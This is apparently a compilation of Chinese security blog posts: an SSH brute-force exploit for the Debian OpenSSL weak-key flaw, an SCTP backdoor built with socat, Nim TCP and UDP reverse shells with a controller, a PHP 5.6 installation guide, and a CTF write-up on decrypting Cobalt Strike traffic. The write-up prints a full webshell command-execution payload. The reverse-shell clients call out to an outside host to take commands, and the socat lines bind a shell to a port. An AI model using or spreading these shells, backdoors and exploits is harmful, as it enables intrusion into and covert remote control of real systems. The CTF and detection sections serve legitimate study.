LPRNG html2ps 1.0 - Remote Command Execution                                            | unix/remote/21974.pl
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5720.py
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby) | linux/remote/5632.rb
----------------------------------------------------------------------------------- ---------------------------
Shellcodes: No Results

# 实际上，获得立足点和提权场景的操作是完全一样的

# 使用5622.txt
searchsploit -m 5622
5622.txt：
the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
            https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)

4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
   print "By mm@deadbeef.de\n";
   exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   chomp;
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
      @a = ();
   }
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de

# milw0rm.com [2008-05-15]

现在的思路是拿到了公钥，需要私钥进行提权，这里用的是私钥库进行碰撞，ssh的非堆成加密算法中涉及到PRNG机制，可以用伪随机数生成密钥来进行碰撞，碰撞成功则能够登录靶机

1、下载文件
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
2、解压缩
sudo tar vjxf 5622.tar.bz2
# v：表示详细模式（verbose），在解压缩过程中显示详细信息
# j：表示要解压缩的文件是使用 bzip2 压缩算法压缩的
# x：表示执行解压缩操作
# f：表示接下来的参数是要操作的文件

# 在碰撞的时候公钥取值不要太长或太短，太长则匹配速度慢，太短可能匹配到多个文件，一般30-40个字符内容即可
grep -lr "RSA公钥部分内容"
# l：将匹配到的内容输出
# r：递归搜索
# 搜索到的结果是公钥.pub文件，其对应的私钥是没有后缀的文件，得到私钥后，可以保存为key后进行登录
sudo ssh -i 私钥文件 用户@IP

PS：
1、Unable to negotiate with 10.1.239.136 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
不能和这台机器在25端口进行写上，因为有主键类型未被发现，这里使用下面的命令，加上密钥类型ssh-rsa,ssh-dss
sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss

2、发现还是需要密码
sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss -vv
使用-vv参数查看调试信息
debug1: Trying private key: dcbe2a56e8cdea6d17495f6648329ee2-4679
sign_and_send_pubkey: no mutual signature supported
debug2: we did not send a packet, disable method
debug1: Next authentication method: password
# 没有共同签名的支持，这里使用-oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss，公钥能够接受的密钥类型
sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss
# 成功登录

SCTP协议后门

SCTP协议在Linux上的应用主要为电信行业提供可靠通信。虽然它有合法用途，但也可能成为一种隐蔽的方式，用于访问Linux系统并规避检测。很多团队可能不会监控这种类型的流量，而数据包过滤器也会因配置错误导致其绕过防火墙。

此外，SCTP在大量Linux系统上默认启用，但很少被实际使用, 这为恶意行为提供了可乘之机。特别是如果不是电信企业，在网络中看到SCTP流量可能就是一个危险信号，如果是电信企业，恶意SCTP流量则可能轻易混入正常流量，同样也需要监控。

socat, 这是一款强大的命令行工具, 用于在两个数据流(sockets、文件、设备等)之间建立双向通道。

# ubuntu系统中,可以使用以下命令安装:
apt install socat -y

使用socat命令配合SCTP协议构建一个简单的SCTP后门，攻击是通过SCTP协议进行的，如果安全团队没有专门监控此协议的流量,很可能会忽略它。在本示例中为了演示，仅执行id命令，然后断开连接。实际应用中，socat命令通常会将攻击者连接到完整的系统Shell。

socat SCTP-Listen:1177,fork EXEC:/usr/bin/id

socat SCTP-Listen:1177,fork EXEC:/usr/bin/sh

该命令的作用是：在本地监听SCTP协议的1177端口，一旦有连接建立，就执行/usr/bin/id命令，并把命令的输出结果通过SCTP发送回客户端。

另找一台机器, 利用socat连接1177命令:

socat - SCTP:10.1.239.148:1177

如果运行netstat或ss等Linux命令，并使用常见参数，是看不到这类端口的，下面运行了命令：ss -ltun来列出所有监听的TCP和UDP端口，注意, SCTP后门并不在其中。

可以使用ss -l选项列出所有监听的套接字，但这样会输出大量数据，一个快捷方式是使用：ss -lStu，它会专门包括SCTP以及正在监听的TCP/UDP端口。

检查SCTP是否启用

由于很多Linux系统默认启用了SCTP，你可能想知道如何检查你的系统是否启用了它。首先，可以使用以下命令检查内核模块是否已加载

lsmod | grep sctp

接下来可以检查/proc/net/protocols，确认其中是否列出了SCTP协议

最后，可以检查/proc/net/sctp/eps，查看有哪些套接字在使用该协议。基本上如果在这里看到内容，但在系统工具中没有显示，那就可能是某些内容在隐藏。

nim语言实现跨平台反弹shell

Mon, 20 Mar 2023 16:37:00 GMT

在网上看到这个Nim语言，Python的语法，C的性能，还能跨平台，写了两个反弹shell玩了一下。

一、tcp 反弹shell，代自动重连功能

import net
import osproc
import os
import strutils

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var socket = newSocket()
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send(system.hostOS & "_" & system.hostCPU & "> ")
                var command = socket.recvLine()
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                socket.send(result)
            except:
                socket.close()
                break
    except:
        sleep(10000)
        continue

以上是被控端代码，控制端使用nc监听4444等待连接即可。

二、udp反弹shell

2.1 udp server控制端

import os
import strutils
import netty

var ip = "0.0.0.0"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

var server = newReactor(ip, port)
echo "Listenting for UDP on " & ip & ":" & intToStr(port)

while true:
  server.tick()
  for connection in server.newConnections:
    echo "[new] ", connection.address

  for connection in server.deadConnections:
    echo "[dead] ", connection.address

  for msg in server.messages:
    echo ">>> Receive Client MESSAGE: <<<", msg.data
    echo msg.data
    echo ">>> Client MESSAGE Finished !<<<"

  for connection in server.connections:
    var cmd = readLine(stdin)
    if cmd.len > 0:
      server.send(connection, cmd)
      echo ">>> Success Send Command: " & cmd & " TO:  ", connection.address

2.2 udp 客户被控端

import net
import osproc
import os
import strutils
import netty

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var client = newReactor()
    var c2s = client.connect(ip, port)
    client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")
    while true:
        try:
            client.tick()
            var command = ""
            for msg in client.messages:
                command.add(msg.data)

            if command.len > 0:
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                client.send(c2s,result)
            if client.deadConnections.len > 0 :
                client.disconnect(c2s)
                break
        except:
            sleep(10000)
            continue

三、编译

nim c -d:danger -d:strip --opt:size tcp.nim
nim c -d:danger -d:strip --opt:size udpc.nim
nim c -d:danger -d:strip --opt:size udps.nim

四、总结

Nim优点：好学、高性能、静态类型、跨平台、编译速度快缺点也非常明显：生态比较差，标准库也不够完善，以上代码想用daemon方式运行就不行，标准库还没有实现

Ubuntu安装低版本php

Mon, 10 Oct 2022 16:40:00 GMT

一、前言

2021 年开始，Ubuntu 官方不再支持 PHP 5.6 版本的维护和更新，因此如果需要在 Ubuntu 上安装 PHP 5.6，则需要使用第三方的 PPA（个人软件包归档）来进行安装。

二、安装步骤

1. 添加paa仓库

add-apt-repository ppa:ondrej/php

说明：上述命令是用于将第三方软件包仓库添加到 Ubuntu 系统的命令。这个特定的命令表示要添加 ondrej/php PPA（Personal Package Archive）。

PPA 是 Ubuntu 中用于存储个人或团队维护的软件包的仓库。通过添加 PPA，你可以轻松地访问和安装这些软件包，而不必手动下载和编译源代码。

在这种情况下，ondrej/php PPA 是由 Ondřej Surý 维护的一个 PHP 软件包仓库。它提供了较新版本的 PHP 和相关的扩展、工具等，可以在 Ubuntu 系统上使用。

2. 更新源并升级系统

sudo apt update 
sudo apt upgrade  ————可以不执行

3. 安装 PHP 5.6

sudo apt install php5.6

4. 安装PHP常用扩展

sudo apt install php5.6 php5.6-fpm php5.6-mysql php5.6-gd php5.6-mbstring php5.6-curl php5.6-soap php5.6-redis php5.6-xml php5.6-apcu php5.6-mcrypt -y

三、php-fpm扩展

简介

PHP-FPM（PHP FastCGI 进程管理器）是一个用于管理 PHP FastCGI 进程的解决方案。它是 PHP 官方提供的一种替代 PHP-CGI（Common Gateway Interface）的方法，用于在 Web 服务器上执行 PHP 脚本。

PHP-FPM 的主要功能

（1）支持并发请求：PHP-FPM 支持并发处理多个请求，能够更高效地处理大量的并发请求。

（2）进程管理：PHP-FPM 可以独立地管理 PHP 进程，根据配置文件中的设置来启动、停止、重启和控制 PHP 进程的数量。

（3）进程池：PHP-FPM 使用进程池来处理请求，每个进程都可以独立地处理一个请求。进程池可以根据负载情况自动调整进程数量，并且可以为不同的虚拟主机或应用程序分配不同的进程池。

（4）资源限制：PHP-FPM 允许您为每个进程设置资源限制，如内存限制和执行时间限制，这有助于保护服务器免受资源滥用。

（5）日志记录：PHP-FPM 提供了详细的日志记录功能，可以记录每个请求的处理情况，便于故障排除和性能优化。

作用：与nginx结合使用

通过将 Nginx（或其他 Web 服务器）与 PHP-FPM 结合使用，可以实现高性能和可扩展的 PHP Web 应用程序环境。Nginx 作为前端 Web 服务器接收和处理 HTTP 请求，然后将 PHP 请求转发给 PHP-FPM 进程进行处理，并将处理结果返回给客户端。这种结构可以提供更高的性能和可靠性，同时允许灵活地配置和管理 PHP 进程。

PHP-FPM常用命令

根据你安装PHP时安装FPM扩展的有关，比如之前我安装的是php5.6-fpm

systemctl status php5.6-fpm

# 启停状态
systemctl start php5.6-fpm
systemctl stop php5.6-fpm
systemctl restart php5.6-fpm
systemctl restart php5.6-fpm

# 开机自启/禁用
systemctl enable php5.6-fpm
systemctl disable php5.6-fpm

卸载PHP

sudo apt-get purge php5.6

删除PHP相关的配置文件

sudo apt-get purge php5.6-common

删除PHP的扩展文件

# 先输入以下命令来查看已安装的 PHP 扩展列表
dpkg -l | grep php5.6

# 对于每个要卸载的扩展，使用以下命令进行卸载。以 mysql 扩展为例：
apt-get purge php5.6-mysql

PS：php无法和apache2联动

使用 PHP 模块方式

# 确保 PHP 模块已启用
sudo a2enmod php5.6

# 重启 Apache
sudo systemctl restart apache2

在 VirtualHost 中显式配置 PHP

编辑配置文件：

sudo nano /etc/apache2/sites-available/000-default.conf

在 </VirtualHost> 前添加以下内容：

    # PHP configuration
    <FilesMatch \.php$>
        SetHandler application/x-httpd-php
    </FilesMatch>
    
    # Directory configuration for /var/www/html
    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

完整配置应该类似：

<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # PHP configuration
    <FilesMatch \.php$>
        SetHandler application/x-httpd-php
    </FilesMatch>
    
    # Directory configuration
    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>

检查并创建测试文件

# 创建 PHP 测试文件
sudo tee /var/www/html/test.php << 'EOF'
<?php
echo "PHP is working!";
phpinfo();
?>
EOF

# 设置正确的权限
sudo chown www-data:www-data /var/www/html/test.php
sudo chmod 644 /var/www/html/test.php

验证配置并重启

# 检查 Apache 配置语法
sudo apache2ctl configtest

# 重启 Apache
sudo systemctl restart apache2

# 测试 PHP
curl http://localhost/test.php

从一道例题分析CS流量解密

Mon, 26 Sep 2022 10:33:00 GMT

从一道例题分析CS流量解密

0x00 题目

解压是一个名字为一起上号不.pcapng的流量包文件

0x01 分析

分析这是一个CS的流量，在下面的博客中可以了解一下CS的流量特征

https://www.mandiant.com/resources/blog/defining-cobalt-strike-components

筛选http流量

发现一个key.zip，将其导出

这里由于没有题目附件，后面主要演示两个用于CS流量解密的项目

https://github.com/Slzdude/cs-scripts           # 得到CS的公私钥
https://github.com/WBGlIl/CS_Decrypt            # 解密我们发送和接受的流量

得到公私钥

然后是需要解密CS流量，首先要拿到一个叫做协商密钥的东西，这个密钥和主机信息在进行RSA公钥加密之后，会放到心跳包的Cookie信息中，比如任意打开一个GET请求，这个加密的内容就存有协商密钥hmac key

现在就需要解开这个加密的Cookie，这里用到的是下面的项目

https://github.com/WBGlIl/CS_Decrypt
# 这里面有一个库是M2Crypto，前提需要安装swig，而windows安装swig之后安装M2Crypto仍然存在问题，为解决，这里用两这种方法

方法1 使用Linux

# 安装swig
pip3 install swig
# 不知道是版本存在问题还是其他原因，自动安装swig之后安装M2Crypto会出现报错，自行下载编译
wget https://sourceforge.net/projects/swig/files/swig/swig-4.1.1/swig-4.1.1.tar.gz
tar -xvzf swig-4.1.1.tar.gz
./configure
make & make install
swig -version      # 查看是否安装成功
# 可能出现编译错误的情况，因为没有安装PCRE2开发包
sudo apt-get install libpcre2-dev
# 然后安装M2Crypto
pip3 install M2Crypto

PS：此方法实测之后不建议，最终子系统安装失败，kali安装成功

方法2 更新迭代函数方法

脚本问题比较大，M2Crypto早已停更不太好装，所以换成了密码学里比较常见的pycryptodome库，然后那个私钥模板开头多了个换行导致pycryptodome不识别（M2Crypto应该没这个问题），以及私钥的主体内容需要按标准的64位换行分隔一下。

原代码：

'''
Beacon元数据
'''
import hashlib
import M2Crypto
import base64
import hexdump

PRIVATE_KEY = """
-----BEGIN RSA PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQh
Qwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysj
Nm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9
nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovI
ko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIi
lU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2l
RXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/g
UiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MG
JqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7
iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH
6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZ
kAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0Q
F8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDI
LP0HzUR1/wk5ZFY=
-----END RSA PRIVATE KEY-----
"""

encode_data = "bGOniQ5nfrSmAW9fgdZSCC+42t5xvQt+B4SVEu6Q8MvC4rPn/OThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNacCVF+8v/nj/Rv85fSD2Phfc/wsaAjld9Fy8ZJJKz1wPwPY6lTxArMGFtX7W+VW/gzujI="
base64_key = ""

pubkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY.format(base64_key).encode())
ciphertext = pubkey.private_decrypt(base64.b64decode(encode_data), M2Crypto.RSA.pkcs1_padding)

...（后面代码相同，只需要修改前面的加密key的函数方法）

新代码：

'''
Beacon元数据
'''
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump
 
PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
{}
-----END RSA PRIVATE KEY-----"""
 
encode_data = "bGOniQ5nfrSmAW9fgdZSCC+42t5xvQt+B4SVEu6Q8MvC4rPn/OThepmxP6GjDiP1wCUB1EE3sqeXkwdHHMd9wikZhiQnjT9AB3e2RNacCVF+8v/nj/Rv85fSD2Phfc/wsaAjld9Fy8ZJJKz1wPwPY6lTxArMGFtX7W+VW/gzujI="
base64_key = """MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQh
Qwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysj
Nm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9
nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovI
ko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIi
lU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2l
RXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/g
UiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MG
JqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7
iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH
6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZ
kAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0Q
F8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDI
LP0HzUR1/wk5ZFY="""
 
private_key = RSA.import_key(PRIVATE_KEY.format(base64_key).encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)

结果相同：（这里的例题是2021绿城杯的MISC流量题）

上面的东西比较乱，整体来说就是分析CS流量特征、加密原理和解密方式，最后一步的AES解密还没有完成，这里用到同一个项目的另一个文件：Beacon_Task_return_AES_Decrypt.py，其实还有一个CS_Task_AES_Decrypt.py文件应该也可以解，但是出现bug暂不考虑。下面通过一道经典赛题进行解释复现

0x02 2021绿城杯misc——一道复杂的流量题目

更细节的题目分析在各大师傅的博客中已经有了讲解，这里做的只是分析CS流量之后的解密获取flag的过程

打开pcapng文件查看协议分级，大部分是tcp，奠定了分析的基本方向

先分析http流量，是Laravel模块

发现可疑字段，且通过请求内容判断是CVE-2021-3129漏洞

这个漏洞是Laravel远程代码漏洞，对字符串进行解密，解密方法如下：

1、去掉 AAA*
2、替换 =00 为空
3、进行 base64 解码
4、多解密几个就发现写入 webshell

可以看到很多这种通过伪协议进行读取文件的payload，后面的密文解密中发现了写入webshell

得到了Webshell密码为14433，查找一句话木马特征，找到解密方法，可以看到.config的返回都是执行命令的结果

通过下面的筛选器能够得到.config文件的请求

http && frame contains ".config"

向下一个个查看返回包，发现了一个压缩包的文件

转换为原始数据，然后搜索zip文件的文件头504b0304

下载下来解压需要密码

这里就能够得知此题目要求的是解密CS流量，和前面的分析一样，需要解开压缩包，得到公私钥，然后进行解密，现在需要找到压缩包密码，CS传输过程中会加密和解密，查看得到压缩包后面的流量包，能够发现7-zip解压的关键字，判断密码在这个流中

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split("/;
|:/",$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {if(!@is_writable($item)){continue;
    };
        $tmdir=$item."/.fedd1";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){continue;
        }@chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
        for($i=0;
            $i<sizeof($cntarr);
            $i++){@chdir("..");
        };
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};
;
function asenc($out){return $out;
};
function asoutput(){$output=ob_get_contents();
    ob_end_clean();
    echo "36"."4f2";
    echo @asenc($output);
    echo "42"."ff1";
}ob_start();
try{$p=base64_decode(substr($_POST["f861d394170244"],2));
    $s=base64_decode(substr($_POST["ufbd335828f30f"],2));
    $envstr=@base64_decode(substr($_POST["b430b310838a93"],2));
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{@putenv("PATH=".getenv("PATH").";
C:/Windows/system32;
C:/Windows/SysWOW64;
C:/Windows;
C:/Windows/System32/WindowsPowerShell/v1.0/;
");
}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);
        foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));
        }}}$r="{$p} {$c}";
function fe($f){$d=explode(",",@ini_get("disable_functions"));
    if(empty($d)){$d=array();
    }else{$d=array_map(\'trim\',array_map(\'strtolower\',$d));
}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe(\'putenv\') && (fe(\'error_log\') || fe(\'mail\'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), \'as\');
putenv("PHP_LOL=() { x;
 };
 $c >$tmp 2>&1");
if (fe(\'error_log\')) {error_log("a", 1);
} else {mail("a@127.0.0.1", "", "", "-bv");
}} else {return False;
}$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {print($output);
return True;
}}return False;
};
function runcmd($c){$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe(\'system\')){@system($c,$ret);
}elseif(fe(\'passthru\')){@passthru($c,$ret);
}elseif(fe(\'shell_exec\')){print(@shell_exec($c));
}elseif(fe(\'exec\')){@exec($c,$o,$ret);
print(join("\n",$o));
}elseif(fe(\'popen\')){$fp=@popen($c,\'r\');
while(!@feof($fp)){print(@fgets($fp,2048));
}@pclose($fp);
}elseif(fe(\'proc_open\')){$p = @proc_open($c, array(1 => array(\'pipe\', \'w\'), 2 => array(\'pipe\', \'w\')), $io);
while(!@feof($io[1])){print(@fgets($io[1],2048));
}while(!@feof($io[2])){print(@fgets($io[2],2048));
}@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe(\'antsystem\')){@antsystem($c);
}elseif(runshellshock($d, $c)) {return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM(\'WScript.shell\');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{$ret = 127;
}return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}catch(Exception $e){echo "ERROR://".$e->getMessage();
};
asoutput();
die();

解开后得到的是套娃的webshell命令，解密方式是三个参数的值去掉前两个字符拼接后进行base64解码即可

$p=base64_decode(substr($_POST["f861d394170244"],2));
$s=base64_decode(substr($_POST["ufbd335828f30f"],2));
$envstr=@base64_decode(substr($_POST["b430b310838a93"],2));

b430b310838a93=4g
f861d394170244=X4Y21k
ufbd335828f30f=0bY2QgL2QgIkQ6XFxwaHBzdHVkeV9wcm9cXFdXV1xcc2VjcmV0IiYiQzpcUHJvZ3JhbSBGaWxlc1w3LVppcFw3ei5leGUiIHggc2VjcmV0LnppcCAtcFA0VWs2cWtoNkd2cXdnM3kmZWNobyAzNzhkZjJjMjM0JmNkJmVjaG8gZmI3Zjhm

得到密码：P4Uk6qkh6Gvqwg3y

解密脚本：

# !/usr/bin/python3
from pwn import *
import zlib

s = 'jRZrb9pI8Pv9CmdlBVt1wGBKafacc1RRtVJ6iUJ0%2BdBUlrHXYS%2FGtnZNSA78329m%2FYIk1ysItDM77%2Bd6POW%2BZIVBIi7zJHj2mRCZkMTSiE1M6sGdX%2FAV8xO%2B4oVhm1TP8ogL10POe%2BTMcpb6i0AyQAMLj42KxNS2ehZuIhfOabBihu7PZ9d%2Fza6%2Fk%2Fmn669XN%2F7nrxezP8%2B%2FzcgPJTYQws0Fu%2FfBEtBFBnR3OiBWLY16cA8G5mu5NCpqS8m35LNES%2FyCrXIfSA3TpHEmWBA2hFogNZ3DPdgE9h15XPobwYtgkYBZ6sLchlla8HTNaEn1YoU%2Bqps%2BGfSn09CZOM5kQqi3ekAVFYXy9siLecJ89sRlIZuLfXFeuNxn8dqYH0QOIt7vQ%2Fz0MC0wEt5BKO7gs7sbYDhqMeAhmO7aVOe%2FS%2F4PyyDuFSvI4O%2FemdtabyW2%2FE%2B9ZICJFqt9GxcQvQfgKSmN12lY8CyFGLI0hICuC3MrWLEWqYYA0OyRACJfF4a51auTmy1UbjAaLIX4mBQwLI38MGFBCiALl5lGxtP4vU365GMwGTukQnqdRpDUUsb2dAKUQ8e2Y0JLECfBa9BJC%2FG81XMXPZuM%2FYiFWcQMuV7IAjzzry7nN99JPJ0MI%2BfjePjBHo3H5Ic1gmrR5c%2BZ1vEicpz309E0dkBpzcTSRyByvZ%2ByLsaOvXCG9tSZBh%2BdhvVXmyJ0G3GRZVtD03UhW3%2BQk1C7I1tdlneEnJLBHoQF%2BQYLFAOEEAw2yNX5zReX9CEpLUjMPjkdrKUYJFkYJAO54Ok%2B3ILdhTpUIPxhfbFEsv%2FVQj%2BdDm55GmUbOYC2hfZyRvu4%2BbO8vbydjPdwL64VS4O4yjZMzJcsSQaPw749oGgItiRMguLZqDMEzYgnbCr2lCeYJLLb7QKZ8JTBAVqvoezmRsWgBsejmhpaK%2FXRBETjKXD5gsHoDBupD%2By5EkpclAzUtCxLXbiQo7yEoRiWpGuZGEogBgOjzjaLWN10hbmMU8pvGCQx1dSpbYlMxatGo9FkoUH4qyA3eoXgq561hwCTiyzB0PUsFEDLqp2NRkc7y2Lz%2BBhGJdRAUo1KRBzx1K%2F06XHN37kj1qnEfMhlFj5gCWp6WIevK0vNtrShqbmuBqWpHR9jEHpVPHsmwgYi1Cbyk%2BwecLudolkFPOmZZiOwECgQEhZBJh9gSkIpDuSSmBB7aEo4aEeu9vn8Yj7DZVSscs3VcEtA5xmvt4al9QLZM2lbw1%2Bu%2FIvLC9cAZu2JaiUFZ7QzJWd0djxUy%2B6VrUDcQgYJCLpKSw0To23RAUB6w9GHvg3fIZZJ8ztZPGL9NrT1jP0cAETLegqCA9W6ORiqaBLM8HWq4lBBaFrDBFEgEIxtLnhadAO11nAjcEuVh%2FoOUhquIlguUGlAgxvnF8cXlCkGp2p0iMzWq44gy0JRdb3WZHkgZbEUa0XYAG%2BTqhKDKmUhEldeeR0SbT1kaEi9%2BhpeDrXYivnvjKcG%2BQ0fGy84c1yWyKrHOexkhJC%2FJ6BQNkvIBO5%2FtXzjvLMlhvRg%2F%2BTWyB5PUaSXh0kmmSI7VCCy0G%2BVYIV6LQo1aVWvDTX3rD72cp6zHlTrpgc1O3r7Am50nr20kWffhz9emamwraWvOEZvcow6Di%2BufavE0314hLByqMa9cD%2BA%2Bu3qo4UwhS3dm0PFbDsEE9nSHi6%2FI7eeMF6YQEU1g418uvxGMNwbN2UbDSCjdzsPBc%2BLvtLUw%2FXu6puTs6ae4I2QuTo7OZsX0SW%2BcCiq7buAPjm7hhF0niSIlKyhmgmxR8X2qeo%2B7OpadRakHuZCM41rt5QA12uaUPRJM3uUEE1JOXJt8w%2BChEpQCY8CQmkZBgWsstlTyHLVyTozt9UjanZ9fXl9Cs%2FJPhoLOf3GpAzuGa4Q2r3iaMQR9S8%3D'
s = urldecode(s)
m = zlib.decompress(b64d(s), -zlib.MAX_WBITS)

print(m)
